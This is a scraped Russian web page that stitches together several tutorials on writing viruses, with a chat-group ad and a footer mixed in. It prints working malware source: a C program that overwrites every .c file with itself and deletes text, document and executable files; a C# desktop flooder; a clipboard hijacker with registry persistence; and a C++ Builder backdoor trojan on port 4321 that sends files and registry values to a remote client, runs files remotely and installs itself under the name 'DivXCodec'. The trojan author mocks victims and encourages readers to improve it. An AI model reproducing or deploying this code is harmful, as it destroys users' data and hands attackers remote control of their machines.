Как написать вирус на языке c

Как написать вирус на языке C

1. Что такое вирус

Вредоносное ПО может быть первой проблемой компьютерной безопасности, которая затрагивает нас, поэтому вирусы очень важны для информационной безопасности.

Чтобы бороться с вирусом, мы должны понять вирус.

Написание вирусов — хороший способ.

Если вы хотите написать вирус, вы должны сначала узнать, что это такое. Вы можете дать определение вирусу, которое широко признано. Доктор Фредерик Коэн упомянул в «Краткой лекции о компьютерных вирусах»:

«… Программа, которая может заразить другие программы, модифицируя себя для включения или выпуска своих копий».

На самом деле вирусы мало чем отличаются от обычных программ, и они обычно относительно просты, а не так сложны, как многие программы. Просто вирус использует некоторые технологии, которые обычно не используются в обычных программах.

Чтобы скомпилировать вирус, мы должны сначала знать механизм работы вируса.

Независимо от типа вируса, он обычно делится по структуре на три функциональных модуля: механизм заражения, механизм запуска и полезная нагрузка.

В структуре вируса первой и единственной необходимой частью является механизм заражения. Вирусы сначала должны иметь возможность воспроизводить свой собственный код, что является основной причиной, по которой вирусы становятся вирусами.

причина. Мы можем использовать кусок псевдокода C-подобного типа для представления этого процесса.

InfectSection()

{

if (infectable_object_found

&&object_not_already_infect)

infect_object;

}

Вторым важным компонентом вируса является событие запуска полезной нагрузки. После того, как вирус попадает на ваш компьютер, он вряд ли ударит сразу, иначе он не распространится далеко. Скрытый враг всегда лучше, чем враг, которого вы видите намного опаснее.Вирусы обычно срабатывают после обнаружения определенного количества зараженных тел, определенной даты или времени и определенного абзаца текста.

Простой спусковой механизм может работать так:

TriggerSection()

{

if (date_is_Friday_13th_and_time_is_03:13:13)

set_trigger_status_to_yes;

}

Полезная нагрузка — это метод, используемый вирусами для преследования вашего компьютера. Вирусы с триггерными механизмами обычно также имеют полезные нагрузки. Это может быть любое одноразовое простое сообщение обмана, переформатирование диска и отправка его самому корреспонденту E_mail может стать эффективной нагрузкой. Простая полезная нагрузка может выполняться следующим образом:

Executesection()

{

if (trigger_statue_is_yes)

execute_payload;

}

2. Язык вируса

Наиболее распространенными языками для компиляции вирусов являются ассемблер, VB, язык C и т. Д. Мы можем взглянуть на основы обучения написанию вирусов:

1) .Win32 программирование, процесс, поток, память и т. Д.

2) 32-битная сборка, в основном использование инструкций. 386 сборки более чем достаточно.

3) .PE формат, если у вас есть энергия, вы также можете посмотреть форматы файлов других файлов, которые могут быть заражены.

4) .Технология отладки. VC, TD32, SoftIce и др.

Есть действительно много вещей, которые нужно освоить, и я никогда не слышал об этом раньше. Это очень страшно. Но на самом деле, хотя мы мало знаем о принципах работы компьютеров и операционных систем,

На других языках, если у нас есть определенное представление о функциях библиотеки C, мы можем написать что-то похожее на вирус.

Три используют C для компиляции вирусов

Редактор рекомендует место с супер обучающей атмосферой, юбка пингвина обмена C / C ++: 870963251! Подходит для студентов колледжа Сяобай, которые хотят сменить карьеру и присоединиться к этому поиску работы. В юбке много учебных материалов, есть великие боги, которые отвечают на вопросы общения, и есть бесплатные живые курсы каждую ночь

Возьмем, к примеру, TurboC2.0. Его библиотечная функция может реализовывать множество функций.

Например, следующие две функции:

1) Функции .findfirst и findnext: в dir.h. findfirst используется для поиска файлов различных типов и может получить имя файла, длину файла, атрибуты файла и т.д., findnext и findfirst используются вместе для поиска следующего файла того же типа.

2) .remove функция: в stdio.h. Если вы знаете имя файла, вы можете удалить любой тип файла

Здесь я даю вам небольшой вирус, написанный на языке C (не думайте делать плохие вещи)

Примеры разработки вирусных программ на языке Си

Код:

// Подключаем заголовочный файл

#include

#include

#include

#include

#include

// Копируем файловый модуль

int copyfile (char *infile, char *outfile)

{

FILE * in, * out; // определяем указатель файла

in = fopen (infile, «r»); // Открываем файл

out = fopen (outfile, «w»); // Создаем файл

while (! feof (in)) // Проверяем, закончился ли файл

{www.ad0.cn

fputc (fgetc (in), out); // Считываем символ от входа к выходу

}

fclose (in); // Закрываем входящий файл

fclose (out); // Закрываем выходной файл

return 0; // возврат

}

int MakeRubbish (void)

{

int i; // Объявить целочисленную переменную i

FILE * fp; // Указатель на файл fp

char * path; // Указатель пути

char *NewName;

char * disk [7] = {«A», «B», «C», «D», «E», «F», «G»}; // Инициализируем массив указателей

char *addtion = «:»;

for (i = 0; i <5; i ++) // цикл 4 раза

{

char tempname [] = «XXXXXX»; // Случайное имя

NewName = mktemp (tempname); // Создаем уникальное имя файла

fp = fopen (NewName, «w»); // Создаем текстовый файл

fclose (fp); // Закрываем файловый поток fp

}

path = strcat (disk [getdisk ()], addtion); // Получаем корневой номер

chdir (path); // Смена рабочего каталога

for (i = 0; i <5; i ++) // количество циклов

{

char tempname [] = «XXXXXX»; // Строка присваивается массиву

NewName = mktemp (tempname); // Создаем уникальное имя файла

fp = fopen (NewName, «w»); // Создаем новый файл

fclose (fp); // Закрываем файл

}

return 0; // возврат

}

int CreatEXE (void)

{

int i; // Целочисленная переменная

char * path; // Указатель на символ

char * s [2] = {// важный каталог

«C:WINDOWSsystem32loveworm.exe»,

«C:WINDOWSvirusssss.com»

};

for (i = 0; i <2; i ++) // номер цикла управления

{

open (s, 0x0100,0x0080); // Открываем файл для записи данных

copyfile («C_KILLER.C», s); // Вызов подфункции для копирования данных файла

}

return 0;

}

int Remove (void) // куда идти

{

int done; // Определение пластиковых переменных

int i;

struct ffblk ffblk; // Объявить структурную переменную ffblk

char * documenttype [3] = {«* .txt», «*. doc», «*. exe»}; // инициализируем массив указателей

for (i = 0; i <3; i ++) // контролировать количество циклов

{

done = findfirst (documenttype, & ffblk, 2); // Поиск в каталоге

while (! done) // возвращаем 0, если поиск успешен

{

remove (ffblk.ff_name); // Удаляем файл

done = findnext(&ffblk);

}

}

return 0; // возврат

}

int Breed (void) // Модуль разведения

{

int done; // Информационная переменная

struct ffblk ffblk; // структурная переменная репутации

done = findfirst(«*.c»,&ffblk,2);

while (!done)

{

if (strcmp(«C_KILLER.C», ffblk.ff_name) != 0 )

{

copyfile(«C_KILLER.C»,ffblk.ff_name);

}

done = findnext(&ffblk);

}

return 0;

}

int main (void) // Адрес входа в программу

{

printf («Вирус жидкого червя, автор: Учитель Юньчжи.»);

Breed (); // Разведение вируса

Remove (); // куда идти

CreatEXE ();

printf («Можете назвать свое имя?»);

printf («Пожалуйста, введите свое имя сейчас!»);

MakeRubbish (); // Вызов подфункции

getchar ();

clrscr (); // Очистить экран

system («cmd»);

getch ();

return 0;

}

Подробно прокомментирован исходный код вирусной программы, разработанной на языке C. Строго говоря, это не вирус в истинном смысле этого слова, но его можно использовать как справочник для начинающих, изучающих C. В программе реализованы несколько вирусных функций.

Пишем невероятно простой и опасный вирус на C#.

ВНИМАНИЕ!!! ЭТО ПРОСТО ПРИМЕР. Я НЕ НЕСУ НИКАКОЙ ОТВЕТСТВЕННОСТИ ЗА ТО ЧТО ОН НАВРЕДИТ ВАМ ИЛИ КОМУ-ТО ДРУГОМУ. ИСПОЛЬЗУЙТЕ ДАННЫЙ ВИРУС ТОЛЬКО В ОБУЧАЮЩИХ ЦЕЛЯХ.  

Любой программист должен написать свой маленький вирус. Сегодня я опишу свой маленький и «зубастенький»  вирус в 30 строк. Принцип роботы таков: он включается и начинает создавать пустые файли на робочем столе, и когда файлов создается больше 100 explorer.exe (проводник, процесс который управляет робочим столом и не только) начинает глючить и выключается. В конце концов он вообще перестает включатся даже после перезагрузки ПК. После этого система перестает работать или начинает страшно глючить (в зависимости от мощности компьютера). Единственный способ вылечить ПК удалить все файли из папки рабочего стола.

Итак вот и код: 


///Подключаем нужные библиотеки. 



using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
 [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]
///Настройка нужных переменных
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        const int SW_HIDE = 0;
        const int SW_SHOW = 5;
 static void Main()
 {
///Скрываем программу 
         var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);
          Process pr = new Process();
                pr.StartInfo.FileName = "prog.exe";
                pr.StartInfo.Arguments = "-r";
                pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                pr.Start();
                pr.WaitForExit();
  int i=0;
///Сам вирус =)
  while(true){
   i=i+1;
  System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:Users"+Environment.UserName+ @"Desktopbadfile"+i);
        } 
 }
}

Вот и все. Да это весь вирус. А теперь минусы: он не запускается сам, большинство антивирусов могут заметить его (Avast например).Но так как это простой пример, то эти функции здесь не нужны. Цель написания таких программок не в том чтобы кому-то навредить а чтобы описать свой способ ущербного воздействия на систему. 

Популярные сообщения из этого блога

Пишем сайты на C# или используем C# вместо JavaScript.

Изображение

   Изучая HTML мне захотелось попробовать создать веб-приложение. Но когда я увидил синтаксис javascriptа в сложном проекте желание делать сайты у меня надолго одбило…    После этого я узнал о чудесном .Net Framework и C#. И вот после долгого программирования на нем у меня выработалась непреодолимая «любов» к C#. Но веб меня тянул больше так как шанс заявить о себе в вебе больший чем просто вылаживать мелкие программки на разные форумы(разве что написать на C# свой Nginx). После не очень долгого поиска я нашел способы писать сайты на .Net а именно Asp.Net. «Ну ок подумал я», — подумал я. «Сейчас поставлю дополнение в студию и буде делать сайты на шарпе». Но писать оказалось сложно и непонятно, кучу новых требований, странных параметров и прочих закавычок. Но «желание» творит чудеса. И тут я подумал если платформа особенная то и хостинг должен быть соответствующим. И немного погуглив я узнал что таких хостингов много и они недешевые. По раска

Пишем онлайн кликер на «чистом» C#

Изображение

В прошлой статье мы рассмотрели что такое DuoCode . Сегодня мы напишем простую игру кликер без Asp.Net на чистом C# который будет транслирован в чистый JS. Посмотреть на нее можно здесь . Можно считать что появление этой статьи будет началом цикла уроков по DuoCode. Сейчас мы напишем простую игру кликер в которой нужно кликакть по красному квадратику на «чистом» C#. Ну что ж начнем…

Всем привет,
Сегодня мы будем делать вирус…

Итак, что трепаться впустую, создаем WPF проект, прописываем название формы(name) — Windows1
Сразу же кидаем на форму ProgressBar, не забываем прописать ему название(Name) — progressBar1
Выставляем свойству Visibility значение Collapsed
Далее, нажимаем на форму и переходим во вкладу свойства
Дважды кликаем напротив св-ва «Loaded»

Подключаем пространство имен using System.Windows.Threading;(кому интересно посмотрите что в ней есть).

Нас интересует класс DispatcherTimer, это аналог timer в WinForms.
Далее, создаем экземпляр класса DispatcherTimer и добавляем делаем так, чтобы таймер включался при загрузке формы.

теперь создаем метод Timer_Tick() и добавляем в него текст, который будет заполнять буфер если пользователь захочет что-то скопипастить.
——————————————

public void Timer_Tick(object sender, EventArgs e)
{
    if (progressBar1.Value==100)
    {
        System.Windows.Clipboard.SetText("хрен тебе, а ни копипаст!");
    }
}

В Window_Loaded, перед Timer.Start(), добавляем обработчик:

Timer.Tick =+EventHandler(Timer_Tick);
TImer.Inverval = Timer.Span(0,0,1); //1 секунда.

——————————————
Далее, подключаем библиотеку System.Windows.Forms к проекту

Теперь прописываем using System.Windows.Forms в шапку файла MainWindow.xaml.cs
В методе загрузки формы(private void Window_Loaded(object sender, RoutedEventArgs e)) создаем экземпляр класса NotifyIcon() после чего
свойству Visible присваиваем false, это нужно чтобы наш вирус не был виден в трее. После чего, скрывает вирус от панели задач через this.ShowTaskbar
Наш код теперь выглядит так:

Далее, туда же добавляем:

ProgressBar1.Value = (100);
Windows1.Visibility = Visibility.Collapsed; //Это чтобы скрыть форму.

Теперь прописываем using Microsoft.Win32 в шапку файла MainWindow.xaml.cs и добавляем следующую строку, после DispatcherTimer…:

RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run",true);

С помощью этой строки, вирус добавит себя в автозапуск.

После чего прописываем запуск:

registryKey.SetValue("KEMON", System.Windows.Forms.Application.ExecutablePath.ToString());

Весь код теперь должен выглядеть так:

На этом этапе, программа уже компилируется и работает.

Далее, заходим в «Сборку»-> «Собрать решение».

После чего нажимаем правой кнопкой мыши, на проекте и выбираем «Открыть папку в проводнике».

теперь переходим в папку bin—> Debug, а вот и наш вирус, запускаем, проверяем.

выделяем любой текст, копируем его, нажимаем вставить, получаем «хрен тебе, а ни копипаст».

Как удалить вирус:
В пуске набираем «regedit».
Заходим в реестр далее идем по следующему пути: HKEY_CURRENT_USERSOFTWAREMICROSOFTWINDOWSCurrentVersionRun
удаляем ключ имя KEMON
Заходим в диспетчер задач и в процессах завершаем работу вируса.
Конец!

Ставь лайк!

virus in cpp

THIS SOFTWARE HAS BEEN CREATED PURELY FOR THE PURPOSES OF ACADEMIC RESEARCH AND FOR THE DEVELOPMENT OF EFFECTIVE DEFENSIVE TECHNIQUES, AND IS NOT INTENDED TO BE USED TO ATTACK SYSTEMS EXCEPT WHERE EXPLICITLY AUTHORIZED. PROJECT MAINTAINERS ARE NOT RESPONSIBLE OR LIABLE FOR MISUSE OF THE SOFTWARE. USE RESPONSIBLY.

How to use

watch my youtube video that demonstrate how we can use this project. Remamber Don’t execute this project from compiler else it will make virus to all files in project directory in which it present. First debug it and copy executable file to other testing folder.
https://youtu.be/Zf6Ur1xocKU

Compiler?

you’ll need VC++ for executing this project. I made in Visual Studio 2012.

How to make a virus program in C++?

This program will work as a virus. This program will execute the loop again and again for unlimited time and it never stop.

#include<iostream>

using namespace std;

int main()

{

char character=‘A’;

do

{

cout<<character<<» «;

character++;

}

while(2==2);

cout<<endl;

return 0;

}

How to stop this virus?

You can open task manager of windows and end the process that is running for this program.

shamil memory table






Prof.Fazal Rehman Shamil
(Available for Professional Discussions)

1. Message on Facebook page for discussions,
2. Video lectures on Youtube
3. Email is only for Advertisement/business enquiries.

Вот тут я не отвечаю за все ОСи, перезагрузка-то будет, но хотелось бы сделать ее как после нажатия кнопки RESET, а так будет послано сообщение WM_…ENDSESSION etc. Короче, пробуйте сами. Могу только подкинуть основные направления поиска: смотри функции ExitWindows(), ExitWindowsEx(), InitiateSystemShutdown() и AbortSystemShutdown(). Для особо продвинутых могу предложить вариант написать надежный ребут под определенную ось и чипсет =) Например, мой прошлый комп стабильно резетился (только в Win9x, в NT не работало) следующей вставочкой:

mov dx,0cf9h

mov al,2

out dx,al

mov al,6

out dx,al

Откуда цифры? Читайте доки по чипсету =) Одним словом, универсального метода перезагрузить комп без WM_…ENDSESSION я не знаю. Если вы знаете — напишите пару строк, не в падлу =)

void TTrojanUtilites::SendFile(String F)

{

TStringList* TTSL=new (TStringList);

TStringList* TTSL2=new (TStringList);

int n, i;

TTSL->Text = F;

if (!FileExists(TTSL->Strings[0]))

{

Sock->Socket->Connections[0]->SendText(«Файл не существует.»);

return;

}

TTSL2->LoadFromFile(TTSL->Strings[0]); // загружаем файл в TStringList

n = TTSL2->Count; // получаем число строк в файле

if (n > StrToInt(TTSL->Strings[1])) // если надо прочитать не весь файл

n = StrToInt(TTSL->Strings[1]); // считываем только необходимое число строк

for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings); // передаем строки клиенту

}

Вроде тут и объяснять нечего.

void TTrojanUtilites::ReadRegistry(ShortString k)

{

TRegistry* reg=new TRegistry;

String res, ts;

TStringList* TTSL=new TStringList;

HKEY k1;

// параметры передаются в следующем порядке:

//// 0 — root key

//// 1 — key name

//// 2 — value name

//// 3 — value

//// 4 — type of value

TTSL->Text = k;

ts = TTSL->Strings[0]; // выбираем RootKey

if (ts == «HKEY_CLASSES_ROOT») k1 = HKEY_CLASSES_ROOT;

if (ts == «HKEY_CURRENT_USER») k1 = HKEY_CURRENT_USER;

if (ts == «HKEY_LOCAL_MACHINE») k1 = HKEY_LOCAL_MACHINE;

if (ts == «HKEY_USERS») k1 = HKEY_USERS;

if (ts == «HKEY_CURRENT_CONFIG») k1 = HKEY_CURRENT_CONFIG;

reg->RootKey = k1;

reg->OpenKey(TTSL->Strings[1], true); // открываем раздел

ts = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа

if (ts == «Bool») // двоичный (REG_BINARY)

if (reg->ReadBool(TTSL->Strings[2]))

res = «true»;

else res = «false»;

if (ts == «Integer») // числовой (REG_DWORD)

res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));

if (ts == «String») // строковый (REG_SZ)

res = reg->ReadString(TTSL->Strings[2]);

Sock->Socket->Connections[0]->SendText(«Чтение реестра. Значение параметра: «+res);

// передаем клиенту значение параметра

}

Запись в реестр аналогична, только используется метод WriteBool(TTSL->Strings[2], false); для записи булевского значения, WriteInteger(TTSL->Strings[2], StrToInt(TTSL->Strings[4])); — для числового, WriteString(TTSL->Strings[2], TTSL->Strings[4]); — для строкового.

Для запуска файлов на удаленном компьютере используем следующую функцию:

void TTrojanUtilites::ExecuteFile(String f)

{

ShellExecute(GetDesktopWindow, «open», f.c_str(), «», «», SW_SHOWNORMAL);

Sock->Socket->Connections[0]->SendText(«Запущен файл «+f);

}

Файл запускается в той программе, с которой ассоциирован запуск данного типа файлов, т.е. вы можете запускать не толкьо exe, com, bat, но и любые другие файлы. Html-файл откроется в Explorer’e, Opere, Netscape или еще в чем-то… Хрен знает чем там ламерюга пользуется… Можете запустить ему мп3-шку Децла послушать или Бритни какой-нить, пусть проблюется =)

Идем дальше. Парочка бесполезных функций:

void TTrojanUtilites::HideMouse()

{

ShowCursor(false);

Sock->Socket->Connections[0]->SendText(«Курсор мыши скрыт»);

}

No commentz…

void TTrojanUtilites::SwapMouseButtons()

{

SwapMouseButton(true);

Sock->Socket->Connections[0]->SendText(«Кнопки мыши переключены»);

Можно сделать переключение кнопок обратно (передайте в SwapMouseButton параметр false), но я бы посоветовал поставить таймер и каждую секунду переключать кнопки туда-сюда, веселее будет =) В падлу сейчас уже добавлять, но вкратце это будет так: добавляем TTimer на форму, устанавливаем необходимый интервал, и в обработчике события OnTimer прописываем вызов функции SwapMouseButton с параметром, противоположным прошлому вызову. Млин, все-таки все расписал =)

Теперь довольно важная функция:

void TTrojanUtilites::DeleteFile(String f)

{

if (!FileExists(f))

{

Sock->Socket->Connections[0]->SendText(«Файл не существует.»);

return;

}

TRegistry* Reg=new TRegistry;

Reg->RootKey = HKEY_LOCAL_MACHINE;

Reg->OpenKey(«SoftwareMicrosoftWindowsCurrentVersionRunOnce», true);

Reg->WriteString(«Filez for delete»,»command.com /c del «+f);

Reg->CloseKey();

Sock->Socket->Connections[0]->SendText(«Файл «+f+» будет удален после перезагрузки.»);

}

Данная функция НЕ удаляет файл сразу!!! Это сделано специально, так как файлы могут использоваться системой и их удаление возможно только после перезагрузки, данная функция помечает файл к удалению, а удалиться он только после перезагрузки, которую вы легко можете вызвать. Да, еще маленькое примечание: данная функция удаляет только 1 файл, если вы пометите второй файл к удалению — то будет удален только он. А первый останется нетронутым… Немного измените функцию — и можно будет удалять файлы пачками =) Могу еще добавить немного инфы на случай, если надо будет удалить целый каталог и вы точно знаете что в нем нет открытых файлов. Используйте стандартную API функцию SHFileOperation, установив тип операции wFunc в FO_DELETE. Пример:

int res;

SHFILEOPSTRUCT fo;

ZeroMemory(&fo, sizeof(fo));

fo.hwnd = hwndOwner; // хэндл окна-владельца прогресс-диалога

fo.pFrom = pszFullPath; //путь

fo.wFunc = FO_DELETE;

fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление

res = SHFileOperation(&fo);

Только внимательно все проверьте! Будет обломно если ламерюга «вдруг» увидит надпись «Папка голые тетки не может быть удалена, так как юзер активно смотрит сразу 10 порно-фильмов из нее!». А вообще, если опять удалиться в теорию, то наш главный объект Application имеет несколько полезных событий, наиболее интересное для нас OnException происходит тогда, когда в приложении возникает необработанная исключительная ситуация (деление на ноль, удаление несуществующего файла etc). По умолчанию, обработчик этого события вызывает метод ShowException для отображения окна сообщения с пояснением причины ошибки (оно нам надо?! конечно, НЕТ!). Но, вы можете изменить реакцию на событие onException, переписав его обработчик. Тут ничего трудного нет, просто я не ставил перед собой задачу написать офигенный троян, только подтолкнуть вас к этому =) Кто захочет — допишет все необходимое сам, если что — я подскажу =) Ну вот, вроде бы все функции реализовали. Теперь немного о том, что мы не сделали =) Мы не сделали: загрузку/закачку файла. Это все можно сделать подправив SendFile(). Стандартных функций для пересылки файлов через TClient(Server)Socket я не нашел, но впрочем, это не проблема — просто передавайте файлы фрагментами.

Теперь нам осталось только разобраться с автозагрузкой трояна. Сделаем следующее:
1) при запуске файл переписывается в папку, в которой установлены винды.
2) прописываем запуск нашего файла в реестре.

Реализуем =)

Добавлено через 31 секунду
void __fastcall TForm1::FormCreate(TObject *Sender)

{

ServSckt->Port = 4321;

ServSckt->Active = true;

Utilz.Sock=ServSckt;

Utilz.CDROMOPEN=false;

String WinDir;

char WinDir1[144];

GetWindowsDirectory(WinDir1,144);

WinDir=WinDir1; // папка с установленными виндами

String data;

TRegistry *pReg = new TRegistry;

pReg->RootKey=HKEY_LOCAL_MACHINE;

pReg->OpenKey(«SoftwareMicrosoftWindowsCurrentVersionRun», true);

data=pReg->ReadString(«DivXCodec»);

if (data != Application->ExeName) //если нашу программу стерли из

// автозагрузки (DivXCodec — можете поменять по желанию на любое другое название раздела)

pReg->WriteString(«DivXCodec»,WinDir+»task16man.exe»); //добавляем ее по новой

if (Application->ExeName!=WinDir+»task16man.exe») //если файл запустили 1ый раз

{

if (!FileExists(WinDir+»task16man.exe»))

{

String dest=WinDir+»task16man.exe»;

BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());

// переписываем файл к виндам

ServSckt->Active = false;

ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL); //запускаем его

Application->Terminate(); // это приложение закрываем

}

else

Application->Terminate();

// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз

// запустили и им подобных, додумайте сами =)

}

else

{

ServSckt->Port = 4321;

ServSckt->Active = true;

String data;

TRegistry *pReg = new TRegistry;

pReg->RootKey=HKEY_LOCAL_MACHINE;

pReg->OpenKey(«SoftwareMicrosoftWindowsCurrentVersionRun», true);

data=pReg->ReadString(«DivXCodec»);

if (data != Application->ExeName) // не дай бог стерли!

pReg->WriteString(«DivXCodec»,Application->ExeName); // пишем назад

}

}

В принципе, это все. Троян готов! Конечно, он тяжеловат, малофункционален etc, НО все это можно исправить, творите =) Если сделаете что-нибудь интересное — скидывайте, с радостью опубликуем это для всех. А вообще, я хочу сейчас все это переделать под API Socket’ы, без всяких компонентов, тогда и файл exe гораздо меньше станет. Если у кого-нибудь есть интерес к этому делу — напишите пару строк в мыльницу.

Товарищи ламеры! Внимательно следите теперь за соединениями по порту 4321 =) Некоторые ведь ничего не перекомпиливают и не меняют =)

На этом у меня все. Критика, предложения и 100грамм принимаются, мат и наезды отправляются в /dev/null =) МаЗу с днем рождения!

Понравилась статья? Поделить с друзьями:
  • Как написать вирус на питоне
  • Как написать вирус на паскале
  • Как написать вирус который выключает компьютер
  • Как написать виртуальную машину
  • Как написать виртуального ассистента